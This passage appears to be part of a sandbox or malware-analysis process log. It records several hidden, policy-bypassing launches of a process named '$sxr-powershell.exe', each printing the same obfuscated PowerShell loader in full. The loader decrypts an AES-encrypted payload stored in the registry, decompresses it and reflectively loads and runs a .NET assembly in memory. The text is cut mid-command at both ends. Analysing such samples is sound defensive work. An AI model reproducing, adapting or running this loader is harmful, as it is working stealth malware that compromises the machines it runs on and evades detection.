[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:5008
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:7044
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        8⤵
        Hide Artifacts: Hidden Window
        
        PID:6652
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = 